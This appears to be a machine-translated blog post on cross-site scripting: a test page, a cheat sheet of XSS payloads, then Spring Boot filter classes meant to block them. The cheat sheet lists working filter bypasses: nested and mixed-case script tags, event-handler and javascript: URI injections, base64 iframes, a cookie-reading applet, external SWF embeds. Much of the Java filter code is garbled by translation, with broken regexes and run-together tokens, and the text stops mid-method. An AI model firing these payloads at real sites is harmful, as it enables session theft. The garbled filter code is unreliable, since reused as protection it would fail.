This is the second day of my participation in Gwen Challenge
Leak testing
Tidy up 16 common attribute tags and script bugs. Several common cross-site scripting vulnerability security tests, test HTML, can refer to the following
<! DOCTYPEhtml>
<html>
<head>
<title>Dynamic web requests background data</title>
</head>
<body>
<div>
input:
<input type="text" id="in" />
<button type="submit" id="submit">untreated</button>
<button type="submit" id="submit2">To deal with</button>
</div>
<br />
<div>
output:
<input id="out" />
</div>
<div>
output2:
<input id="out2" />
</div>
<div>
<h1>Ha, ha, ha</h1>
<p1>sdsad</p1>
</div>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<script type="text/javascript">
$(function() {
var $submit = $('#submit');
var $submit2 = $('#submit2');
$submit.click(function() {
argv = "assada"
var http;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var $input = $('#in');
var $output = $('#out');
var $output2 = $('#out2');
var data = $input.val();
var jsoncontent = JSON.parse(xmlhttp.responseText);/* Parses the obtained information into a JSON object */
varval = jsoncontent.name; $output.val(val).html(val); }}var url = "http://192.168.1.100/api/v1/test";
var $input = $('#in');
var data = $input.val();
xmlhttp.open("POST", url, true);
xmlhttp.send(JSON.stringify(
{"user": data} )); }}); $submit2.click(function() {
argv = "assada"
var http;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var $input = $('#in');
var $output = $('#out');
var $output2 = $('#out2');
var data = $input.val();
var jsoncontent = JSON.parse(xmlhttp.responseText);/* Parses the obtained information into a JSON object */
varuser = jsoncontent.user; $output2.val(user).html(user); }}var url = "http://192.168.1.100/api/v1/test";
var $input = $('#in');
var data = $input.val();
xmlhttp.open("POST", url, true);
xmlhttp.send(JSON.stringify(
{"user": data} )); }}); });</script>
</body>
</html>
Copy the code
Routine testing
1. Insert a normal label and test whether it is filtered.
2. Insert a closed label to test whether it will be filtered.
3, test script, test the following content
<script>alert(1); </script><script>prompt(1);</script>
<script>confirm(1);</script>
Copy the code
If you leave something in the middle, try again, as in:
<scRiPt>alert(1); </scrIPt>Copy the code
If you only filter out tags, you can try to bypass them by using the following method
<scr<script>ipt>alert(1)</scr<script>ipt>
Copy the code
4. Test hyperlinks
<a href="http://www.google.com">Clickme</a>
Copy the code
The SRC tags
<img src=x onerror=prompt(2); > <img/src=aaa.jpg onerror=prompt(2); > <video src=x onerror=prompt(2); > <audio src=x onerror=prompt(2); >Copy the code
The iframe label
<iframe src="javascript:alert(3)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Copy the code
Embed tags
<embed/src=//goo.gl/nlX0P>
Copy the code
The action attribute
Execute javascript using the action attribute in the <form, < isIndex, etc
<form action="Javascript:alert(5)"><input type=submit> <isindex action="javascript:alert(5)" type=image> <isindex action=j	 a	 vas	 c	 r	 ipt:alert(5) type=image> <isindex action=data:text/html, type=image> <form action='data:text/ html,< script> alert(5)</script>'><button>CLICKCopy the code
Formaction binds properties
<isindexformaction="javascript:alert(5)"type=image> <input type="image" formaction=JaVaScript:alert(5)> <form><button formaction=javascript: alert(5)>CLICKMECopy the code
The background
<table background=javascript:alert(6) > </table> // Works on Opera 10.5 and IE6Copy the code
Poster attribute
<video poster=javascript:alert(7)//>
Copy the code
The data attribute
<object data="data:text/html; base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
Copy the code
Code attributes
<applet code="javascript:confirm(document.cookie);"> / / Firefox is effective
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
Copy the code
Events trigger
<svg/onload=prompt(10); > <marquee/onstart=confirm(10)>/ <body onload=prompt(10); > <select autofocus onfocus=alert(10)> <textarea autofocus onfocus=alert(10)> <keygen autofocus onfocus=alert(10)> <video><source onerror="javascript:alert(1)">Copy the code
Expression attribute
<img style="xss:expression(alert(11))"> / / IE7
<div style="color:rgb(''& # 0;x:expression(alert(11))"></div> / / IE7
<style>#test{x:expression(alert(/XSS/))}</style> / / IE7
Copy the code
The location attribute
<a onmouseover=location='javascript:alert(12)'>click
<body onfocus="loaction='javascript:alert(12)'">123
Copy the code
The script tag
We can close the script tag to insert the code, but again we can just close the double quotes to execute the js code “; alert(13)//
<script>Var x="Input"; </script>Copy the code
href
<a href="javascript:alert(14)//">Click</a>
Copy the code
Json
JSONObject json = null;
json = new JSONObject();
json.put("code".200);
json.put("info"."tester");
json.put("msg"."success");
System.out.println(json);
/ / output: {" code ": 200," info ":" tester ", "MSG" : "success"}
/ / if in the info into {' replace ': the function () {alert (/ XSS)}}?
json = new JSONObject();
json.put("code".200);
json.put("info"."{'replace':function(){alert(/xss/)}}");
json.put("msg"."success");
System.out.println(json);
/ / output: {" code ": 200," info ": {" replace" : the function () {alert (/ XSS)}}, "MSG" : "success"}
// When JSONObject outputs a JSON string, info is output as an object, and the embedded replace method is called when js uses the replace method to escape and filter.
[function(){alert(/ XSS /)}] or simply function(){alert(/ XSS /)}
Copy the code
Springboot handles XSS attacks
Introduce the following dependencies
Jsoup is the main one, and I also use the following two here.
<! -- Prevent XSS attacks -->
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.11.3</version>
</dependency>
<! -- Common Tools -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
</dependency>
<dependency>
<groupId>org.junit.platform</groupId>
<artifactId>junit-platform-commons</artifactId>
</dependency>
Copy the code
FilterConfig
package com.wangscaler.config;
import com.wangscaler.common.xss.XssFilter;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import javax.servlet.DispatcherType;
import java.util.HashMap;
import java.util.Map;
/** * Set cross-site script filtering */
@Configuration
public class FilterConfig {
@Value("${xss.enabled}")
private String enabled;
@Value("${xss.excludes}")
private String excludes;
@Value("${xss.urlPatterns}")
private String urlPatterns;
@Bean
public FilterRegistrationBean xssFilterRegistration(a){
FilterRegistrationBean registrationBean = new FilterRegistrationBean();
registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
registrationBean.setFilter(new XssFilter());
registrationBean.addUrlPatterns(StringUtils.split(urlPatterns,","));
registrationBean.setName("XssFilter");
registrationBean.setOrder(9999);
Map<String,String> initParameters = new HashMap<>();
initParameters.put("excludes",excludes);
initParameters.put("enabled",enabled);
registrationBean.setInitParameters(initParameters);
returnregistrationBean; }}Copy the code
XssFilter
package com.wangscaler.common.xss;
import com.zytech.util.StringUtils;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/** * Filters to prevent XSS attacks **@author wangscaler
*/
public class XssFilter implements Filter
{
/** * exclude links */
public List<String> excludes = new ArrayList<>();
/**
* xss过滤开关
*/
public boolean enabled = false;
@Override
public void init(FilterConfig filterConfig) throws ServletException
{
String tempExcludes = filterConfig.getInitParameter("excludes");
String tempEnabled = filterConfig.getInitParameter("enabled");
if (StringUtils.isNotEmpty(tempExcludes))
{
String[] url = tempExcludes.split(",");
for (int i = 0; url ! =null&& i < url.length; i++) { excludes.add(url[i]); }}if(StringUtils.isNotEmpty(tempEnabled)) { enabled = Boolean.valueOf(tempEnabled); }}@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (handleExcludeURL(req, resp))
{
chain.doFilter(request, response);
return;
}
XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request);
chain.doFilter(xssRequest, response);
}
private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response)
{
if(! enabled) {return true;
}
if (excludes == null || excludes.isEmpty())
{
return false;
}
String url = request.getServletPath();
for (String pattern : excludes)
{
Pattern p = Pattern.compile("^" + pattern);
Matcher m = p.matcher(url);
if (m.find())
{
return true; }}return false;
}
@Override
public void destroy(a)
{}}Copy the code
XssHttpServletRequestWrapper
package com.wangscaler.common.xss;
import com.zytech.util.EscapeUtil;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
/** * XSS filter **@author ruoyi
*/
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper
{
/ * * *@param request
*/
public XssHttpServletRequestWrapper(HttpServletRequest request)
{
super(request);
}
@Override
public String[] getParameterValues(String name)
{
String[] values = super.getParameterValues(name);
if(values ! =null)
{
int length = values.length;
String[] escapseValues = new String[length];
for (int i = 0; i < length; i++)
{
// Prevent XSS attacks and filter Spaces before and after
escapseValues[i] = EscapeUtil.clean(values[i]).trim();
}
return escapseValues;
}
return super.getParameterValues(name); }}Copy the code
EscapeUtil
package com.wangscaler.util;
import com.zytech.common.xss.HTMLFilter;
/** * Escape and unescape utility classes **@author WangScaler
*/
public class EscapeUtil
{
public static final String RE_HTML_MARK = "[^ (< <] *? >)|(<[\\s]*? / [^ <] *? >) | (< / ^ < *? /[\\s]*? >)";
private static final char[][] TEXT = new char[64] [];static
{
for (int i = 0; i < 64; i++)
{
TEXT[i] = new char[] {(char) i };
}
// special HTML characters
TEXT['\' '] = "The & # 039;".toCharArray(); / / single quotation marks
TEXT['"'] = "& # 34;".toCharArray(); / / single quotation marks
TEXT['&'] = "& # 38;".toCharArray(); / / & operator
TEXT['<'] = "& # 60;".toCharArray(); / / is less than the number
TEXT['>'] = "The & # 62;".toCharArray(); / / is greater than the number
}
/** * Escape HTML characters in text as safe characters **@paramText Escaped text *@returnEscaped text */
public static String escape(String text)
{
return encode(text);
}
/** * Restores the escaped HTML special character **@paramContent The HTML content that contains the escape character *@returnThe converted string */
public static String unescape(String content)
{
return decode(content);
}
/** * Clears all HTML tags, but does not delete the contents of the tags **@paramThe content of text *@returnClear the text */ after the label
public static String clean(String content)
{
return new HTMLFilter().filter(content);
}
/** * Escape code **@paramText Encoded text *@returnThe encoded character */
private static String encode(String text)
{
int len;
if ((text == null) || ((len = text.length()) == 0))
{
return StringUtils.EMPTY;
}
StringBuilder buffer = new StringBuilder(len + (len >> 2));
char c;
for (int i = 0; i < len; i++)
{
c = text.charAt(i);
if (c < 64)
{
buffer.append(TEXT[c]);
}
else{ buffer.append(c); }}return buffer.toString();
}
/** * Escape decodes **@paramContent Escaped content *@returnDecoded string */
public static String decode(String content)
{
if (StringUtils.isEmpty(content))
{
return content;
}
StringBuilder tmp = new StringBuilder(content.length());
int lastPos = 0, pos = 0;
char ch;
while (lastPos < content.length())
{
pos = content.indexOf("%", lastPos);
if (pos == lastPos)
{
if (content.charAt(pos + 1) = ='u')
{
ch = (char) Integer.parseInt(content.substring(pos + 2, pos + 6), 16);
tmp.append(ch);
lastPos = pos + 6;
}
else
{
ch = (char) Integer.parseInt(content.substring(pos + 1, pos + 3), 16);
tmp.append(ch);
lastPos = pos + 3; }}else
{
if (pos == -1)
{
tmp.append(content.substring(lastPos));
lastPos = content.length();
}
else{ tmp.append(content.substring(lastPos, pos)); lastPos = pos; }}}return tmp.toString();
}
public static void main(String[] args)
{
String html = "";
// String html = "<scr<script>ipt>alert(\"XSS\")</scr<script>ipt>";
// String html = "<123";System.out.println(EscapeUtil.clean(html)); System.out.println(EscapeUtil.escape(html)); System.out.println(EscapeUtil.unescape(html)); }}Copy the code
HTMLFilter
package com.wangscaler.common.xss;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/** * HTML filter, used to remove XSS vulnerabilities. * *@author WangScaler
*/
public final class HTMLFilter
{
/** * regex flag union representing /si modifiers in php **/
private static final int REGEX_FLAGS_SI = Pattern.CASE_INSENSITIVE | Pattern.DOTALL;
private static final Pattern P_COMMENTS = Pattern.compile("<! - (. *?) -- -- >", Pattern.DOTALL);
private static final Pattern P_COMMENT = Pattern.compile("^! - (. *) - $", REGEX_FLAGS_SI);
private static final Pattern P_TAGS = Pattern.compile("" (. *?) >", Pattern.DOTALL);
private static final Pattern P_END_TAG = Pattern.compile("^/([a-z0-9]+)", REGEX_FLAGS_SI);
private static final Pattern P_START_TAG = Pattern.compile("^([a-z0-9]+)(.*?) (/)? $", REGEX_FLAGS_SI);
private static final Pattern P_QUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)=([\"'])(.*?) 2 \ \", REGEX_FLAGS_SI);
private static final Pattern P_UNQUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)(=)([^\"\\s']+)", REGEX_FLAGS_SI);
private static final Pattern P_PROTOCOL = Pattern.compile("^ ([^ :] +) :", REGEX_FLAGS_SI);
private static final Pattern P_ENTITY = Pattern.compile("&#(\\d+); ?");
private static final Pattern P_ENTITY_UNICODE = Pattern.compile("&#x([0-9a-f]+); ?");
private static final Pattern P_ENCODE = Pattern.compile("%([0-9a-f]{2}); ?");
private static final Pattern P_VALID_ENTITIES = Pattern.compile("& ([^ &;] (*)? = (. | & | $))");
private static final Pattern P_VALID_QUOTES = Pattern.compile("(> | ^) ([^ <] +?) (< | $)", Pattern.DOTALL);
private static final Pattern P_END_ARROW = Pattern.compile("^ >");
// private static final Pattern P_BODY_TO_END = Pattern.compile("<([^>]*?)(?=<|$)");
private static final Pattern P_XML_CONTENT = Pattern.compile("(^ | >) ([^ <] *?) (? = >)");
private static final Pattern P_STRAY_LEFT_ARROW = Pattern.compile("< ([^ >] *?) (? = < | $)");
private static final Pattern P_STRAY_RIGHT_ARROW = Pattern.compile("(^ | >) ([^ <] *?) (? = >)");
private static final Pattern P_AMP = Pattern.compile("&");
private static final Pattern P_QUOTE = Pattern.compile("\" ");
private static final Pattern P_LEFT_ARROW = Pattern.compile("<");
private static final Pattern P_RIGHT_ARROW = Pattern.compile(">");
private static final Pattern P_BOTH_ARROWS = Pattern.compile("< >");
// @xxx could grow large... maybe use sesat's ReferenceMap
private static final ConcurrentMap<String, Pattern> P_REMOVE_PAIR_BLANKS = new ConcurrentHashMap<>();
private static final ConcurrentMap<String, Pattern> P_REMOVE_SELF_BLANKS = new ConcurrentHashMap<>();
/** * set of allowed html elements, along with allowed attributes for each element **/
private final Map<String, List<String>> vAllowed;
/** * counts of open tags for each (allowable) html element **/
private final Map<String, Integer> vTagCounts = new HashMap<>();
/** * html elements which must always be self-closing (e.g. "") **/
private final String[] vSelfClosingTags;
/** * html elements which must always have separate opening and closing tags (e.g. "") **/
private final String[] vNeedClosingTags;
/** * set of disallowed html elements **/
private final String[] vDisallowed;
/** * attributes which should be checked for valid protocols **/
private final String[] vProtocolAtts;
/** * allowed protocols **/
private final String[] vAllowedProtocols;
/** * tags which should be removed if they contain no content (e.g. "" or "") **/
private final String[] vRemoveBlanks;
/** * entities allowed within html markup **/
private final String[] vAllowedEntities;
/** * flag determining whether comments are allowed in input String. */
private final boolean stripComment;
private final boolean encodeQuotes;
/** * flag determining whether to try to make tags when presented with "unbalanced" angle brackets (e.g. "" * becomes " text "). If set to false, unbalanced angle brackets will be html escaped. */
private final boolean alwaysMakeTags;
/** * Default constructor. */
public HTMLFilter(a)
{
vAllowed = new HashMap<>();
final ArrayList<String> a_atts = new ArrayList<>();
a_atts.add("href");
a_atts.add("target");
vAllowed.put("a", a_atts);
final ArrayList<String> img_atts = new ArrayList<>();
img_atts.add("src");
img_atts.add("width");
img_atts.add("height");
img_atts.add("alt");
vAllowed.put("img", img_atts);
final ArrayList<String> no_atts = new ArrayList<>();
vAllowed.put("b", no_atts);
vAllowed.put("strong", no_atts);
vAllowed.put("i", no_atts);
vAllowed.put("em", no_atts);
vSelfClosingTags = new String[] { "img" };
vNeedClosingTags = new String[] { "a"."b"."strong"."i"."em" };
vDisallowed = new String[] {};
vAllowedProtocols = new String[] { "http"."mailto"."https" }; // no ftp.
vProtocolAtts = new String[] { "src"."href" };
vRemoveBlanks = new String[] { "a"."b"."strong"."i"."em" };
vAllowedEntities = new String[] { "amp"."gt"."lt"."quot" };
stripComment = true;
encodeQuotes = true;
alwaysMakeTags = true;
}
/**
* Map-parameter configurable constructor.
*
* @param conf map containing configuration. keys match field names.
*/
@SuppressWarnings("unchecked")
public HTMLFilter(final Map<String, Object> conf)
{
assert conf.containsKey("vAllowed") : "configuration requires vAllowed";
assert conf.containsKey("vSelfClosingTags") : "configuration requires vSelfClosingTags";
assert conf.containsKey("vNeedClosingTags") : "configuration requires vNeedClosingTags";
assert conf.containsKey("vDisallowed") : "configuration requires vDisallowed";
assert conf.containsKey("vAllowedProtocols") : "configuration requires vAllowedProtocols";
assert conf.containsKey("vProtocolAtts") : "configuration requires vProtocolAtts";
assert conf.containsKey("vRemoveBlanks") : "configuration requires vRemoveBlanks";
assert conf.containsKey("vAllowedEntities") : "configuration requires vAllowedEntities";
vAllowed = Collections.unmodifiableMap((HashMap<String, List<String>>) conf.get("vAllowed"));
vSelfClosingTags = (String[]) conf.get("vSelfClosingTags");
vNeedClosingTags = (String[]) conf.get("vNeedClosingTags");
vDisallowed = (String[]) conf.get("vDisallowed");
vAllowedProtocols = (String[]) conf.get("vAllowedProtocols");
vProtocolAtts = (String[]) conf.get("vProtocolAtts");
vRemoveBlanks = (String[]) conf.get("vRemoveBlanks");
vAllowedEntities = (String[]) conf.get("vAllowedEntities");
stripComment = conf.containsKey("stripComment")? (Boolean) conf.get("stripComment") : true;
encodeQuotes = conf.containsKey("encodeQuotes")? (Boolean) conf.get("encodeQuotes") : true;
alwaysMakeTags = conf.containsKey("alwaysMakeTags")? (Boolean) conf.get("alwaysMakeTags") : true;
}
private void reset(a)
{
vTagCounts.clear();
}
// ---------------------------------------------------------------
// my versions of some PHP library functions
public static String chr(final int decimal)
{
return String.valueOf((char) decimal);
}
public static String htmlSpecialChars(final String s)
{
String result = s;
result = regexReplace(P_AMP, "&", result);
result = regexReplace(P_QUOTE, """, result);
result = regexReplace(P_LEFT_ARROW, "<", result);
result = regexReplace(P_RIGHT_ARROW, ">", result);
return result;
}
// ---------------------------------------------------------------
/**
* given a user submitted input String, filter out any invalid or restricted html.
*
* @param input text (i.e. submitted by a user) than may contain html
* @return "clean" version of input, with only valid, whitelisted html elements allowed
*/
public String filter(final String input)
{
reset();
String s = input;
s = escapeComments(s);
s = balanceHTML(s);
s = checkTags(s);
s = processRemoveBlanks(s);
s = validateEntities(s);
return s;
}
public boolean isAlwaysMakeTags(a)
{
return alwaysMakeTags;
}
public boolean isStripComments(a)
{
return stripComment;
}
private String escapeComments(final String s)
{
final Matcher m = P_COMMENTS.matcher(s);
final StringBuffer buf = new StringBuffer();
if (m.find())
{
final String match = m.group(1); / / (. *?)
m.appendReplacement(buf, Matcher.quoteReplacement("<!--" + htmlSpecialChars(match) + "-- >"));
}
m.appendTail(buf);
return buf.toString();
}
private String balanceHTML(String s)
{
if (alwaysMakeTags)
{
//
// try and form html
//
s = regexReplace(P_END_ARROW, "", s);
// No end tag is appended
// s = regexReplace(P_BODY_TO_END, "<$1>", s);
s = regexReplace(P_XML_CONTENT, "$1" $2", s);
}
else
{
//
// escape stray brackets
//
s = regexReplace(P_STRAY_LEFT_ARROW, "< The $1", s);
s = regexReplace(P_STRAY_RIGHT_ARROW, "$1$2> <", s);
//
// the last regexp causes '<>' entities to appear
// (we need to do a lookahead assertion so that the last bracket can
// be used in the next pass of the regexp)
//
s = regexReplace(P_BOTH_ARROWS, "", s);
}
return s;
}
private String checkTags(String s)
{
Matcher m = P_TAGS.matcher(s);
final StringBuffer buf = new StringBuffer();
while (m.find())
{
String replaceStr = m.group(1);
replaceStr = processTag(replaceStr);
m.appendReplacement(buf, Matcher.quoteReplacement(replaceStr));
}
m.appendTail(buf);
// these get tallied in processTag
// (remember to reset before subsequent calls to filter method)
final StringBuilder sBuilder = new StringBuilder(buf.toString());
for (String key : vTagCounts.keySet())
{
for (int ii = 0; ii < vTagCounts.get(key); ii++)
{
sBuilder.append("< /").append(key).append(">");
}
}
s = sBuilder.toString();
return s;
}
private String processRemoveBlanks(final String s)
{
String result = s;
for (String tag : vRemoveBlanks)
{
if(! P_REMOVE_PAIR_BLANKS.containsKey(tag)) { P_REMOVE_PAIR_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)? > < /" + tag + ">"));
}
result = regexReplace(P_REMOVE_PAIR_BLANKS.get(tag), "", result);
if(! P_REMOVE_SELF_BLANKS.containsKey(tag)) { P_REMOVE_SELF_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)? / >"));
}
result = regexReplace(P_REMOVE_SELF_BLANKS.get(tag), "", result);
}
return result;
}
private static String regexReplace(final Pattern regex_pattern, final String replacement, final String s)
{
Matcher m = regex_pattern.matcher(s);
return m.replaceAll(replacement);
}
private String processTag(final String s)
{
// ending tags
Matcher m = P_END_TAG.matcher(s);
if (m.find())
{
final String name = m.group(1).toLowerCase();
if (allowed(name))
{
if (false == inArray(name, vSelfClosingTags))
{
if (vTagCounts.containsKey(name))
{
vTagCounts.put(name, vTagCounts.get(name) - 1);
return "< /" + name + ">"; }}}}// starting tags
m = P_START_TAG.matcher(s);
if (m.find())
{
final String name = m.group(1).toLowerCase();
final String body = m.group(2);
String ending = m.group(3);
// debug( "in a starting tag, name='" + name + "'; body='" + body + "'; ending='" + ending + "'" );
if (allowed(name))
{
final StringBuilder params = new StringBuilder();
final Matcher m2 = P_QUOTED_ATTRIBUTES.matcher(body);
final Matcher m3 = P_UNQUOTED_ATTRIBUTES.matcher(body);
final List<String> paramNames = new ArrayList<>();
final List<String> paramValues = new ArrayList<>();
while (m2.find())
{
paramNames.add(m2.group(1)); // ([a-z0-9]+)
paramValues.add(m2.group(3)); / / (. *?)
}
while (m3.find())
{
paramNames.add(m3.group(1)); // ([a-z0-9]+)
paramValues.add(m3.group(3)); // ([^\"\\s']+)
}
String paramName, paramValue;
for (int ii = 0; ii < paramNames.size(); ii++)
{
paramName = paramNames.get(ii).toLowerCase();
paramValue = paramValues.get(ii);
// debug( "paramName='" + paramName + "'" );
// debug( "paramValue='" + paramValue + "'" );
// debug( "allowed? " + vAllowed.get( name ).contains( paramName ) );
if (allowedAttribute(name, paramName))
{
if (inArray(paramName, vProtocolAtts))
{
paramValue = processParamProtocol(paramValue);
}
params.append(' ').append(paramName).append("= \" ").append(paramValue).append("\" "); }}if (inArray(name, vSelfClosingTags))
{
ending = "/";
}
if (inArray(name, vNeedClosingTags))
{
ending = "";
}
if (ending == null || ending.length() < 1)
{
if (vTagCounts.containsKey(name))
{
vTagCounts.put(name, vTagCounts.get(name) + 1);
}
else
{
vTagCounts.put(name, 1); }}else
{
ending = "/";
}
return "<" + name + params + ending + ">";
}
else
{
return ""; }}// comments
m = P_COMMENT.matcher(s);
if(! stripComment && m.find()) {return "<" + m.group() + ">";
}
return "";
}
private String processParamProtocol(String s)
{
s = decodeEntities(s);
final Matcher m = P_PROTOCOL.matcher(s);
if (m.find())
{
final String protocol = m.group(1);
if(! inArray(protocol, vAllowedProtocols)) {// bad protocol, turn into local anchor link instead
s = "#" + s.substring(protocol.length() + 1);
if (s.startsWith(# "/ /"))
{
s = "#" + s.substring(3); }}}return s;
}
private String decodeEntities(String s)
{
StringBuffer buf = new StringBuffer();
Matcher m = P_ENTITY.matcher(s);
while (m.find())
{
final String match = m.group(1);
final int decimal = Integer.decode(match).intValue();
m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
}
m.appendTail(buf);
s = buf.toString();
buf = new StringBuffer();
m = P_ENTITY_UNICODE.matcher(s);
while (m.find())
{
final String match = m.group(1);
final int decimal = Integer.valueOf(match, 16).intValue();
m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
}
m.appendTail(buf);
s = buf.toString();
buf = new StringBuffer();
m = P_ENCODE.matcher(s);
while (m.find())
{
final String match = m.group(1);
final int decimal = Integer.valueOf(match, 16).intValue();
m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal)));
}
m.appendTail(buf);
s = buf.toString();
s = validateEntities(s);
return s;
}
private String validateEntities(final String s)
{
StringBuffer buf = new StringBuffer();
// validate entities throughout the string
Matcher m = P_VALID_ENTITIES.matcher(s);
while (m.find())
{
final String one = m.group(1); / / / ^ &; *)
final String two = m.group(2); / / (? = (. | & | $))
m.appendReplacement(buf, Matcher.quoteReplacement(checkEntity(one, two)));
}
m.appendTail(buf);
return encodeQuotes(buf.toString());
}
private String encodeQuotes(final String s)
{
if (encodeQuotes)
{
StringBuffer buf = new StringBuffer();
Matcher m = P_VALID_QUOTES.matcher(s);
while (m.find())
{
final String one = m.group(1); / / (> | ^)
final String two = m.group(2); / / ([^ <] +)?
final String three = m.group(3); / / (< | $)
// Do not replace double quotes with "; To prevent json format from invalid regexReplace(P_QUOTE, ""; , two)
m.appendReplacement(buf, Matcher.quoteReplacement(one + two + three));
}
m.appendTail(buf);
return buf.toString();
}
else
{
returns; }}private String checkEntity(final String preamble, final String term)
{
return ";".equals(term) && isValidEntity(preamble) ? '&' + preamble : "&" + preamble;
}
private boolean isValidEntity(final String entity)
{
return inArray(entity, vAllowedEntities);
}
private static boolean inArray(final String s, final String[] array)
{
for (String item : array)
{
if(item ! =null && item.equals(s))
{
return true; }}return false;
}
private boolean allowed(final String name)
{
return(vAllowed.isEmpty() || vAllowed.containsKey(name)) && ! inArray(name, vDisallowed); }private boolean allowedAttribute(final String name, final String paramName)
{
returnallowed(name) && (vAllowed.isEmpty() || vAllowed.get(name).contains(paramName)); }}Copy the code
StringUtils
package com.wangscaler.util;
import cn.hutool.core.text.StrFormatter;
import java.util.Collection;
import java.util.Map;
/** * string utility class **@author WangScaler
*/
public class StringUtils extends org.apache.commons.lang3.StringUtils
{
/** Empty string */
private static final String NULLSTR = "";
/** underline */
private static final char SEPARATOR = '_';
/** * The parameter is not null **@paramValue defaultValue Value to be determined *@returnValue Returns the value */
public static <T> T nvl(T value, T defaultValue)
{
returnvalue ! =null ? value : defaultValue;
}
/** ** Checks if a Collection is empty, including List, Set, Queue **@paramColl to judge the Collection *@returnTrue: empty false: not empty */
public static boolean isEmpty(Collection
coll)
{
return isNull(coll) || coll.isEmpty();
}
/** ** Checks whether a Collection is non-empty, including List, Set, Queue **@paramColl to judge the Collection *@returnTrue: not empty false: empty */
public static boolean isNotEmpty(Collection
coll)
{
return! isEmpty(coll); }/** ** Determines whether an array of objects is empty **@paramObjects The array of objects to determine@returnTrue: empty false: not empty */
public static boolean isEmpty(Object[] objects)
{
return isNull(objects) || (objects.length == 0);
}
/** ** Determines whether an array of objects is not empty **@paramObjects Array of objects to determine@returnTrue: not empty false: empty */
public static boolean isNotEmpty(Object[] objects)
{
return! isEmpty(objects); }/** ** Checks whether a Map is empty **@paramMap Indicates the map * to be determined@returnTrue: empty false: not empty */
public static boolean isEmpty(Map
map)
{
return isNull(map) || map.isEmpty();
}
/** ** Checks whether a Map is empty **@paramMap Indicates the map * to be determined@returnTrue: not empty false: empty */
public static boolean isNotEmpty(Map
map)
{
return! isEmpty(map); }/** ** determines whether a string is an empty string **@param str String
* @returnTrue: empty false: not empty */
public static boolean isEmpty(String str)
{
return isNull(str) || NULLSTR.equals(str.trim());
}
/** ** determines whether a string is a non-empty string **@param str String
* @returnTrue: non-empty string False: empty string */
public static boolean isNotEmpty(String str)
{
return! isEmpty(str); }/** ** Determines whether an object is empty **@param object Object
* @returnTrue: empty false: not empty */
public static boolean isNull(Object object)
{
return object == null;
}
/** ** Determines whether an object is non-empty **@param object Object
* @returnTrue: not empty false: empty */
public static boolean isNotNull(Object object)
{
return! isNull(object); }/** ** Determines whether an object is an array type (an array in the Java basic) **@paramObject *@returnTrue: is an array false: is not an array */
public static boolean isArray(Object object)
{
return isNotNull(object) && object.getClass().isArray();
}
/** * go to space */
public static String trim(String str)
{
return (str == null ? "" : str.trim());
}
/** * intercepts the string **@paramSTR string *@paramStart to *@returnResults the * /
public static String substring(final String str, int start)
{
if (str == null)
{
return NULLSTR;
}
if (start < 0)
{
start = str.length() + start;
}
if (start < 0)
{
start = 0;
}
if (start > str.length())
{
return NULLSTR;
}
return str.substring(start);
}
/** * intercepts the string **@paramSTR string *@paramStart to *@paramEnd to end *@returnResults the * /
public static String substring(final String str, int start, int end)
{
if (str == null)
{
return NULLSTR;
}
if (end < 0)
{
end = str.length() + end;
}
if (start < 0)
{
start = str.length() + start;
}
if (end > str.length())
{
end = str.length();
}
if (start > end)
{
return NULLSTR;
}
if (start < 0)
{
start = 0;
}
if (end < 0)
{
end = 0;
}
return str.substring(start, end);
}
/** * format text, {} represents placeholders <br> * This method simply replaces placeholders {} with arguments in order <br> * If you want to print {}, use \\ escape {, if you want to print \ before {}, use double escape \\\\ <br> * Example: < br > * usually use: the format (" this is {} for {} ", "a", "b") - > this is a for b < br > * escape {} : The format (" this is \ \ {} for {} ", "a", "b") - > this is \ {} for a < br > * escape \ : format("this is \\\\{} for {}", "a", "b") -> this is \a for b<br> * *@paramTemplate Text template, replaced with {} for *@paramParams Parameter value *@returnFormatted text */
public static String format(String template, Object... params)
{
if (isEmpty(params) || isEmpty(template))
{
return template;
}
return StrFormatter.format(template, params);
}
/** ** underline the hump name */
